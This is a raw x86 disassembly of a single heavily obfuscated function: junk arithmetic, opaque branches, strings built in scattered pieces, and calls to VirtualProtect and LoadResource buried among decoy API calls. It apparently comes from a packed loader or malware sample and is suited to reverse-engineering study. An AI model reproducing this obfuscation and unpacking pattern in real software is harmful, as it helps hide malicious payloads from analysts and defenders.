cmp eax, 0xfffee5c3
jl 0x40cb30
mov ebx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x107c8]
push eax
lea eax, [ecx + 0x3ed4]
push eax
mov eax, dword [ebp - 0x48]
lea edx, [edx + 0x181fd]
add eax, 0x435a0
lea ecx, [ebx - 0xd2c]
push eax
mov eax, dword [ebp - 0x60]
add eax, 0x36bff
push eax
mov eax, dword [ebp - 0x50]
add eax, 0xffff5fbb
push eax
lea eax, [ebx + 0x18c7]
push eax
lea eax, [edi + 0xb74b]
push eax
mov eax, dword [ebp - 8]
add eax, 0x276bb
push eax
call fcn.00401210
mov ebx, dword [ebp - 0x2c]
mov edx, eax
add esp, 0x20
mov dword [ebp - 0x1c], edx
lea eax, [edx - 0x24ba]
mov dword [ebp - 0x60], eax
test eax, eax
jle 0x40ccac
imul ecx, eax, 0x14c27
add edi, ecx
imul ecx, eax, 0x16c30
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 8]
nop dword [eax]
nop dword [eax + eax]
and dword [ebp - 0x48], 0x131bd
or ecx, 0x5319
or eax, 0xf141
and ebx, 0x13bbc
xor ecx, 0x8a1c
sub dword [ebp - 0x60], 1
jne 0x40cc80
mov dword [ebp - 8], ecx
mov dword [ebp - 0x20], eax
jmp 0x40ccaf
mov ecx, dword [ebp - 8]
lea eax, [edx + 0x1637]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + 0x1daf4]
mov ecx, dword [ebp - 0x3c]
push eax
lea eax, [edx - 0x75e2]
add edx, 0xfffe48eb
push eax
lea eax, [ecx + 0x25be6]
push eax
mov eax, dword [ebp - 0x10]
add eax, 0x63ce
push eax
lea eax, [ecx + 0x15585]
mov ecx, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
add eax, 0xfffff957
push eax
mov eax, dword [ebp - 0x24]
lea ecx, [ecx + 0x7e52]
add eax, 0x11c97
push eax
call fcn.00401160
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
lea edx, [edx - 0xa324]
lea ecx, [eax + 0xd391]
push ecx
lea ecx, [eax + 0x74b4]
mov eax, dword [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0xc]
add ecx, 0x42fe3
push ecx
lea ecx, [eax - 0x9700]
push ecx
lea ecx, [eax - 0x16a3e]
push ecx
mov ecx, dword [ebp - 0x30]
lea ecx, [ecx + 0x1ba90]
call fcn.00401150
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
add ecx, 0x936
push ecx
mov ecx, dword [ebp - 0x20]
add ecx, 0xffff66e0
mov dword [ebp - 0x58], eax
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [edi - 0x5bba]
add ecx, 0x6f2b
mov dword [0x47da14], 0x617a6978
push ecx
lea ecx, [esi + 0x1113c]
push ecx
mov ecx, dword [ebp - 0xc]
push eax
lea eax, [edx - 0x7467]
add edx, 0xffff7650
push eax
lea eax, [ecx + 0x3e10f]
push eax
lea eax, [ecx + 0x478f9]
mov ecx, dword [ebp - 0x44]
push eax
lea ecx, [ecx + 0x7e57]
call fcn.00401160
sub dword [ebp - 0x24], 0x12aed
add esp, 0x54
xor dword [ebp - 0x1c], 0xa30a
dec dword [ebp - 0x3c]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 0xc]
xor edx, 0x1521e
mov ecx, dword [ebp - 0x44]
or esi, 0x10c22
or ecx, dword [ebp - 0x34]
add dword [ebp - 8], 0x560e
or edx, dword [ebp - 8]
add dword [ebp - 0x14], 0xa673
add edi, edx
xor ebx, dword [ebp - 0x18]
inc dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov eax, ecx
add dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x50]
or eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x60]
xor dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x54]
or dword [ebp - 0x40], eax
cmp eax, 0x126fa
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], edx
je 0x40ceb7
mov edx, dword [ebp - 0x54]
or edi, 0xb1bb
xor dword [ebp - 0x58], edx
and ebx, 0x15b93
mov ecx, dword [ebp - 0x14]
add edx, eax
sub dword [ebp - 0x3c], 0x11b68
xor dword [ebp - 0x40], edi
and dword [ebp - 0x24], ecx
cmp dword [ebp - 0x34], 0x6ce2
mov dword [ebp - 0x54], edx
mov edx, dword [ebp - 0x20]
je 0x40ceb7
mov eax, dword [ebp - 0x28]
add ebx, 0xfffefb5b
sub dword [ebp - 0x18], eax
or ebx, 0x1cd3
add eax, dword [ebp - 0x54]
xor dword [ebp - 0x54], 0x2182
xor dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x50]
or eax, dword [ebp - 0x54]
mov dword [ebp - 0x50], eax
cmp eax, 0x17551
mov eax, dword [ebp - 0x30]
je 0x40ceb7
sub dword [ebp - 0x60], 0x1086
and edx, 0x11d05
add esi, 0xb97d
mov dword [ebp - 0x20], edx
sub eax, 0x10af8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x1c], 0x87b2
jl 0x40cdd2
cmp dword [ebp - 0x38], 0xffff8ca1
mov dword [ebp - 0x2c], ebx
mov dword [0x47d9f8], 0x5868744d
jge 0x40d06b
nop
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x40]
add dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0xc]
or dword [ebp - 0x50], 0x15bfb
xor ecx, ebx
xor dword [ebp - 0x24], 0xc21d
mov eax, dword [ebp - 4]
mov dword [ebp - 0x5c], ecx
cmp eax, 0x1d60
jle 0x40cf8c
xor dword [ebp - 0x34], eax
and esi, 0xb670
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x40]
xor eax, 0xf1eb
and ebx, 0x103ca
mov dword [ebp - 8], eax
mov dword [ebp - 0x40], ebx
cmp edx, 0x149be
jne 0x40cf8f
and dword [ebp - 0x3c], 0x183c1
mov edx, eax
xor dword [ebp - 0x44], 0xa453
or edx, 0x149be
cmp dword [ebp - 0x58], 0x40df
mov dword [ebp - 0x20], edx
jne 0x40cf8f
call dword [sym.imp.USER32.dll_SetRect]
mov edx, dword [ebp - 0x20]
sub edi, 0xef9f
sub dword [ebp - 0x60], 0xffd4
sub edx, 0x15c00
xor dword [ebp - 0x1c], 0xa88f
sub dword [ebp - 0x34], 0xde0b
inc ebx
mov dword [ebp - 0x58], 0xfffebbda
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x38]
sub eax, 0x60be
inc ebx
mov dword [ebp - 8], eax
and dword [ebp - 0x34], ebx
add edx, 0xbd8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x38], ebx
add eax, edx
mov ebx, dword [ebp - 0x5c]
xor ebx, 0x12d65
mov dword [ebp - 0x20], edx
cmp dword [ebp - 8], 0x134e0
mov dword [ebp - 0x10], eax
jle 0x40d05b
mov ecx, dword [ebp - 0x60]
xor edi, 0x4561
and dword [ebp - 0x24], edi
and edx, ecx
add dword [ebp - 0x18], 0x6302
and ecx, 0x8819
cmp dword [ebp - 0x44], 0x161bc
mov dword [ebp - 0x60], ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], edx
jle 0x40d05b
and dword [ebp - 0x34], ecx
add eax, ebx
mov dword [ebp - 0x10], eax
cmp ecx, 0xe22a
jle 0x40d05b
mov ecx, dword [ebp - 0x58]
and ebx, 0xa7a2
or ecx, dword [ebp - 0x24]
sub dword [ebp - 0x54], 0x15a0e
sub dword [ebp - 0x18], 0xa32a
mov dword [ebp - 0x58], ecx
cmp ecx, 0x45c7
je 0x40d05b
and eax, 0xef0
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
and ecx, 0x9a87
sub ecx, dword [ebp - 0x24]
add eax, eax
or dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
add dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x38], 0xffff8ca1
jl 0x40cee0
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x60]
add eax, 0x14ec
push eax
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x38]
add eax, 0x13d41
push eax
mov eax, dword [ebp - 0x58]
add eax, 0x397
push eax
lea eax, [ecx + 0x1c091]
push eax
lea eax, [ecx + 0x1c2fa]
mov ecx, dword [ebp - 0x54]
push eax
lea edx, [edx + 0x1cec7]
lea eax, [ecx + 0x2cb15]
push eax
lea eax, [ecx + 0x37c8e]
mov ecx, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x30]
add eax, 0x56555
push eax
lea ecx, [ecx + 0x539]
call fcn.00401210
mov ecx, dword [ebp - 0x14]
add esp, 0x20
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x30]
nop word [eax + eax]
xor esi, dword [ebp - 0x44]
and eax, 0x218
xor ecx, dword [ebp - 0x28]
and esi, 0x6887
sub dword [ebp - 0x3c], edx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x4c], esi
cmp ecx, 0x13259
jne 0x40d1be
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 4]
and esi, dword [ebp - 0x1c]
xor dword [ebp - 0x3c], eax
xor dword [ebp - 0x5c], ebx
add dword [ebp - 0x50], ecx
sub dword [ebp - 0x40], ecx
cmp dword [ebp - 0xc], 0x10a5a
mov dword [ebp - 0x4c], esi
jge 0x40d191
sub dword [ebp - 0x54], 0xffec
sub edx, 0x13416
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x10]
and dword [ebp - 0xc], edx
and edx, dword [ebp - 0x28]
cmp dword [ebp - 0x60], 0xc50
mov dword [ebp - 0x10], edx
je 0x40d191
mov edx, dword [ebp - 0x50]
or esi, 0x171ff
and dword [ebp - 0x44], edx
sub esi, edx
xor dword [ebp - 0x5c], edx
sub eax, 0x220c6
and dword [ebp - 0x58], 0x76cb
cmp dword [ebp - 0x44], 0x3049
mov dword [ebp - 0x4c], esi
mov dword [ebp - 4], eax
jge 0x40d191
add dword [ebp - 0x38], 0x470c
or dword [ebp - 0x1c], ecx
and esi, 0x7687
mov dword [ebp - 0x4c], esi
push 0x82f5
push 0x8afb
push 0x109e0
push 0xea1c
push 0x6e27
push 0x14954
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp - 0x20]
add esp, 0x18
mov eax, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x60]
sub ecx, ebx
or ebx, dword [ebp - 0x24]
add esi, 0x353f
sub dword [ebp - 0x54], ecx
add ebx, 0xc97
and edx, dword [ebp - 0x34]
and ebx, eax
inc dword [ebp - 0x28]
and esi, 0x15bf8
mov dword [ebp - 0x5c], ecx
cmp ecx, 0x6efc
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x20], edx
je 0x40d31f
mov esi, dword [ebp - 0x54]
xor edx, 0xec15
or esi, dword [ebp - 0x50]
xor ebx, 0x48ef
xor dword [ebp - 0x4c], 0xc5e3
add dword [ebp - 4], 0xa9d0
xor dword [ebp - 0x58], 0x8fc0
cmp dword [ebp - 0x10], 0x3051
mov dword [ebp - 0x54], esi
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x2c], ebx
jne 0x40d31f
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x34]
and ebx, dword [ebp - 0x38]
and ecx, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
or eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x34]
or dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x50]
xor eax, 0x3051
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x60], 0xf3c4
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jae 0x40d31c
push 0x179d9
push 0xaef8
call dword [sym.imp.USER32.dll_DispatchMessageW]
mov eax, dword [ebp - 0x30]
sub esi, 0x9e56
mov edx, dword [ebp - 0x54]
xor eax, 0x10184
mov ecx, dword [ebp - 0x14]
or edx, 0x126
sub dword [ebp - 0x5c], ecx
add esp, 8
xor dword [ebp - 0x1c], 0x85e8
and dword [ebp - 0x10], 0x17e50
cmp dword [ebp - 8], 0xbf21
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x54], edx
je 0x40d317
mov ebx, dword [ebp - 0x38]
xor edx, 0x10787
or dword [ebp - 0xc], 0xc607
or esi, 0x87cd
mov dword [ebp - 0x54], edx
mov edx, dword [ebp - 0x40]
and eax, edx
xor ebx, edx
mov dword [ebp - 0x30], eax
and ebx, 0x180f7
mov dword [ebp - 0x4c], esi
and edx, 0xf31
mov dword [ebp - 0x38], ebx
mov ebx, dword [ebp - 0x2c]
add edi, 0x3e2a
mov dword [ebp - 0x40], edx
mov edx, dword [ebp - 0x20]
jmp 0x40d31f
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x28], 0xfffc33c1
mov esi, dword [ebp - 0x4c]
jl 0x40d0e0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x30]
add eax, 0x358a8
push eax
mov eax, dword [ebp - 0x34]
add eax, 0x2b8a0
push eax
lea eax, [edi - 0xc25d]
push eax
mov eax, dword [ebp - 0x24]
add eax, 0xffff5a26
push eax
mov eax, dword [ebp - 0x5c]
add eax, 0x11a54
push eax
lea eax, [ecx + 0x297a8]
push eax
lea eax, [edx + 0xda98]
push eax
lea eax, [edx + 0x15a76]
lea edx, [ecx + 0x3c7e9]
mov ecx, dword [ebp - 0x5c]
push eax
lea ecx, [ecx - 0x1f8c]
call fcn.00401210
sub dword [ebp - 0xc], 0x6c3
add esp, 0x20
mov dword [ebp - 0x30], eax
or edi, 0xb91a
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x44]
add eax, 0xfffe87b5
xor eax, 0x614b
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
and eax, 0x2031
or eax, 0x10040
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
or eax, ebx
cmp dword [ebp - 0x10], 0xcfdd
mov dword [ebp - 0x28], eax
jle 0x40d4a2
push 0x1528f
push 0x112f0
push 0x9c11
push 0x8bcf
push 0x128c2
push 0x97f1
push 0xe531
push 0x11d80
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov eax, dword [ebp - 0x28]
add esp, 0x20
mov edx, dword [ebp - 0x30]
add eax, 0x1b0d
and edx, edi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x38], 0x162fa
mov dword [ebp - 0x30], edx
je 0x40d4a2
mov eax, dword [ebp - 0x18]
and dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
and eax, ecx
mov ebx, dword [ebp - 0x58]
or dword [ebp - 0x34], 0xd01
or dword [ebp - 0x60], 0x3b47
sub dword [ebp - 0x14], ebx
cmp dword [ebp - 0x38], 0x1417a
mov dword [ebp - 0x1c], eax
je 0x40d49f
mov ebx, dword [ebp - 0x38]
and esi, 0xd3e1
or ebx, dword [ebp - 0x3c]
sub dword [ebp - 0x10], 0x49b1
cmp eax, 0x64c
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x4c], esi
jge 0x40d4a2
sub edx, 0x16d1d
mov dword [ebp - 0x30], edx
cmp ecx, 0xa1b8
jge 0x40d4a2
or dword [ebp - 0x58], 0x17d1a
or esi, 0x103c2
add dword [ebp - 0x38], 0x7685
mov dword [ebp - 0x4c], esi
jmp 0x40d4a2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
xor eax, 0xa01
and dword [ebp - 0x58], 0x13fc
add ecx, 0x2c7f
and dword [ebp - 0x40], 0x30f5
sub eax, 0x16608
and dword [ebp - 0x54], 0x9452
add edi, 0xc2cd
mov dword [ebp - 0x20], ecx
lea edx, [ecx + 0x2a1d]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, 0xffff0bc2
mov dword [0x47d9dc], 0x5a717948
push eax
lea ecx, [ecx + 0xf956]
call fcn.00401170
mov edx, dword [ebp - 0x1c]
xor edx, dword [ebp - 0x54]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xc]
or dword [ebp - 0x34], 0x13cb5
xor dword [ebp - 0x28], 0x1694e
xor dword [ebp - 0x18], 0x11609
lea ecx, [eax + 0x416c8]
add dword [ebp - 0x40], 0x131fc
push ecx
mov ecx, dword [ebp - 0x58]
add eax, 0x435c0
push eax
xor dword [ebp - 0x30], 0x17f61
inc dword [ebp - 0x5c]
lea eax, [ecx + 0x11fda]
mov dword [ebp - 0x1c], edx
push eax
lea eax, [edx + 0xa4cb]
mov dword [0x47d9e8], 0x6b614a4b
push eax
mov eax, dword [ebp - 4]
add edx, 0xc388
add eax, 0xffff9008
add ecx, 0xfffff170
push eax
mov eax, dword [ebp - 0x34]
add eax, 0x6e72
push eax
lea eax, [edi - 0x1e428]
push eax
lea eax, [edi - 0x1644a]
push eax
call fcn.00401210
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
add ecx, 0x10376
push ecx
mov ecx, dword [ebp - 8]
add ecx, 0x2d7ef
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x38]
lea edx, [edx + 0x30b70]
push ecx
mov ecx, dword [ebp - 0x10]
add eax, 0xffff85a7
add ecx, 0x40b3d
mov dword [0x47d9c8], 0x56714651
push ecx
mov ecx, dword [ebp - 0x5c]
add ecx, 0xc2cf
push ecx
mov ecx, dword [ebp - 0x28]
push eax
lea ecx, [ecx + 0x5b775]
call fcn.00401150
add esp, 0x38
mov dword [ebp - 0x54], eax
lea edx, [eax - 0x10f67]
test edx, edx
jle 0x40d62b
mov ecx, edx
mov dword [ebp - 8], 0
imul ecx, eax
mov eax, dword [ebp - 0x40]
add dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x5c]
nop word [eax + eax]
add eax, 0x6a93
xor ecx, 0x7042
or eax, 0x9060
sub edx, 1
jne 0x40d610
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x40], eax
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x40]
nop word [eax + eax]
inc dword [ebp - 0x58]
sub edi, 0x14324
sub dword [ebp - 0x30], 0x94bd
or ecx, 0x10403
mov dword [ebp - 0x38], edi
add eax, eax
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
or edi, 0x1473c
mov ecx, dword [ebp - 0x5c]
sub edi, edx
and ecx, dword [ebp - 0x1c]
sub dword [ebp - 0x1c], ebx
add ebx, dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xd4d6
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], edi
mov edi, dword [ebp - 0x38]
je 0x40d6ac
mov edi, dword [ebp - 0x50]
and ebx, 0x9ab6
add dword [ebp - 0x54], edi
add dword [ebp - 0x1c], 0x7536
mov edi, dword [ebp - 0x58]
or dword [ebp - 8], edi
and edx, dword [ebp - 0x1c]
add esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x38]
cmp dword [ebp - 0x58], 0x13c5
jl 0x40d640
add ecx, 0xfffef3d3
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], esi
mov byte [0x47da22], 0xc
call fcn.00401200
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
lea ecx, [ebx + 0x3df94]
call fcn.00401200
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x58]
add ecx, 0xffffdcef
push ecx
mov ecx, dword [ebp - 0x34]
lea edx, [edx + 0x12f6c]
lea ecx, [ecx + 0x1c453]
call fcn.00401170
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x4c]
add ecx, 0x105a8
mov edx, dword [ebp - 0x24]
push ecx
mov dword [ebp - 0x50], eax
lea ecx, [esi + 0xabbc]
push ecx
mov ecx, dword [ebp - 0x58]
add ecx, 0x11fd9
push ecx
mov ecx, dword [ebp - 0x48]
add ecx, 0x3f0c
push ecx
lea ecx, [edx - 0xa371]
push ecx
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + 0x32b07]
push eax
lea eax, [ebx + 0x4ab4a]
push eax
lea eax, [edx - 0x8607]
lea edx, [ecx + 0x45b48]
mov ecx, dword [ebp - 0x20]
push eax
lea ecx, [ecx - 0x117e3]
call fcn.00401210
mov ecx, dword [ebp - 0xc]
add esp, 0x24
mov dword [ebp - 0x3c], eax
lea ecx, [ecx + 0x310ca]
call fcn.00401200
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x60], eax
cmp esi, 0x8d65
jge 0x40d842
mov edx, dword [ebp - 0x18]
mov eax, 0x8d65
sub eax, esi
mov esi, 0x8d65
add dword [ebp - 0x20], eax
mov dword [ebp - 0x4c], esi
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x44]
xor edi, ebx
or edx, dword [ebp - 0x10]
and eax, 0x13adf
or dword [ebp - 4], 0x31ac
xor eax, 0xcb47
and eax, dword [ebp - 0x54]
xor ebx, 0x458d
and dword [ebp - 0x1c], 0xc4fa
xor esi, 0xa25f
sub ecx, 0xa134
mov dword [ebp - 0x2c], ebx
add edx, 0x754
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x54], 0x36c7
je 0x40d829
mov eax, dword [ebp - 0x3c]
sub edx, 0x9fb9
add dword [ebp - 0x60], eax
or eax, dword [ebp - 0x60]
cmp dword [ebp - 0x58], 0x46f9
mov dword [ebp - 0x3c], eax
jge 0x40d829
add eax, dword [ebp - 0x28]
xor edi, 0x7caf
xor dword [ebp - 0x48], ecx
and dword [ebp - 0x30], 0x7f08
add dword [ebp - 0x28], 0xa42e
mov dword [ebp - 0x3c], eax
sub dword [ebp - 0x5c], 1
jne 0x40d7a7
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x18], edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x58]
add eax, 0x272d
mov edx, dword [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x10]
add eax, 0x329f2
mov dword [0x47da10], 0x71517042
push eax
lea eax, [edi + 0x4391a]
push eax
lea eax, [ecx + 0x1d15d]
push eax
mov eax, dword [ebp - 0x34]
lea edx, [edx + 0x9936]
add eax, 0x1590d
push eax
mov eax, dword [ebp - 0x3c]
add eax, 0x3c552
push eax
lea eax, [ecx + 0x178a1]
push eax
lea eax, [ecx + 0x2108b]
push eax
lea ecx, [ebx + 0x503c3]
call fcn.00401160
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 4]
lea edx, [edx + 0x2e007]
lea ecx, [eax - 0x28770]
push ecx
mov ecx, dword [ebp - 8]
add ecx, 0x126de
push ecx
mov ecx, dword [ebp - 0x58]
add ecx, 0x12641
push ecx
lea ecx, [edi + 0x3b733]
push ecx
lea ecx, [eax - 0x36b6a]
push ecx
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx + 0x9f2e]
call fcn.00401150
add esp, 0x34
mov dword [ebp - 0x58], eax
cmp eax, 0x10f69
jge 0x40d970
mov edx, dword [ebp - 0x20]
mov ecx, 0x10f69
mov ebx, dword [ebp - 0x18]
sub ecx, eax
add dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x58], 0x10f69
or dword [ebp - 0x1c], 0x69d8
xor ebx, ecx
mov esi, dword [ebp - 0x48]
xor edx, 0x1328d
and dword [ebp - 0x3c], esi
xor dword [ebp - 0x44], 0xd95b
sub dword [ebp - 0x60], eax
and ecx, dword [ebp - 0x1c]
cmp esi, 0xb3f1
mov esi, dword [ebp - 0x4c]
je 0x40d95b
add ecx, esi
or edi, 0x12acb
mov esi, dword [ebp - 0x30]
add esi, dword [ebp - 8]
or dword [ebp - 8], 0x7db7
mov dword [ebp - 0x30], esi
mov esi, dword [ebp - 0x4c]
sub dword [ebp - 0x5c], 1
jne 0x40d913
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x28]
add eax, 0xffffba50
push eax
mov eax, dword [ebp - 0x44]
add eax, 0xffff8f63
mov dword [0x47d9e0], 0x4c775a63
push eax
mov eax, dword [ebp - 0x24]
lea edx, [ecx + 0x3c996]
add eax, 0xffff86f2
push eax
mov eax, dword [ebp - 0x48]
add eax, 0x1b4e0
push eax
mov eax, dword [ebp - 0x50]
add eax, 0x1822
push eax
lea eax, [ecx + 0x3dedf]
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [edi + 0x43dbf]
add eax, 0x186b
push eax
mov eax, dword [ebp - 8]
add eax, 0x20365
push eax
call fcn.00401160
mov ecx, dword [ebp - 0x48]
add ecx, 0x18b1a
mov edx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x50]
add ecx, 0x3b80
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x40]
lea edx, [edx + 0xf16e]
push ecx
mov ecx, dword [ebp - 0x3c]
add eax, 0xbe72
add ecx, 0x52b94
mov dword [0x47d9c4], 0x75486f72
push ecx
mov ecx, dword [ebp - 4]
add ecx, 0x458e
push ecx
mov ecx, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x60]
add eax, 0x40db
push eax
mov eax, dword [ebp - 0x30]
lea ecx, [ecx - 0xcd93]
add eax, 0x1140f
push eax
lea eax, [ebx + 0x4e7a3]
push eax
call fcn.00401210
mov eax, dword [ebp - 0x48]
add esp, 0x40
sub dword [ebp - 0x3c], eax
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
and edx, 0x11a2f
mov eax, dword [ebp - 0x30]
or ecx, 0xe016
or dword [ebp - 0x50], 0x411c
sub eax, 0x4e0d
or dword [ebp - 0x60], 0x11dd2
sub edx, 0x4148
cmp dword [ebp - 0x40], 0x1601b
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], edx
je 0x40db4f
xor eax, dword [ebp - 0x60]
sub ebx, edi
sub edx, dword [ebp - 0x58]
xor dword [ebp - 0x44], 0xbdff
mov dword [ebp - 4], edx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], eax
cmp eax, 0x7bdc
jle 0x40db4f
sub edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x60]
sub eax, edx
or dword [ebp - 0x18], esi
add dword [ebp - 0x24], 0x14b2e
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x10], eax
cmp ebx, 0x16938
je 0x40db4f
mov esi, dword [ebp - 0xc]
xor dword [ebp - 0x30], esi
or dword [ebp - 0x48], 0x111e7
xor dword [ebp - 0x40], 0x17f65
xor dword [ebp - 0x1c], eax
cmp dword [ebp - 0x44], 0x9f1
mov esi, dword [ebp - 0x4c]
jne 0x40db4f
mov eax, ecx
and eax, 0x9f1
mov dword [ebp - 0x44], eax
call dword [sym.imp.USER32.dll_GetMessagePos]
mov edx, dword [ebp - 4]
xor dword [ebp - 0x1c], 0x2775
xor dword [ebp - 0x28], edx
sub dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x14]
cmp eax, 0x7994
je 0x40db4f
or dword [ebp - 0x20], eax
and ecx, 0xd002
sub dword [ebp - 0x48], ebx
xor dword [ebp - 0x10], 0x1ba5
add dword [ebp - 0x58], 0xe9de
xor dword [ebp - 0x24], 0x16a21
xor dword [ebp - 0xc], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x50]
cmp eax, 0xfdbd
jge 0x40dc22
mov edi, 0xfdbd
mov dword [ebp - 0x50], 0xfdbd
sub edi, eax
mov eax, edi
mov dword [ebp - 0x5c], edi
imul eax, dword [ebp - 0x40]
add dword [ebp - 0x34], eax
imul eax, edi, 0xffff961c
mov edi, dword [ebp - 0x38]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
nop word [eax + eax]
mov edx, dword [ebp - 0xc]
xor ecx, edi
xor dword [ebp - 0x3c], 0xabf8
xor edx, esi
or eax, dword [ebp - 0x48]
and edx, 0x7e9
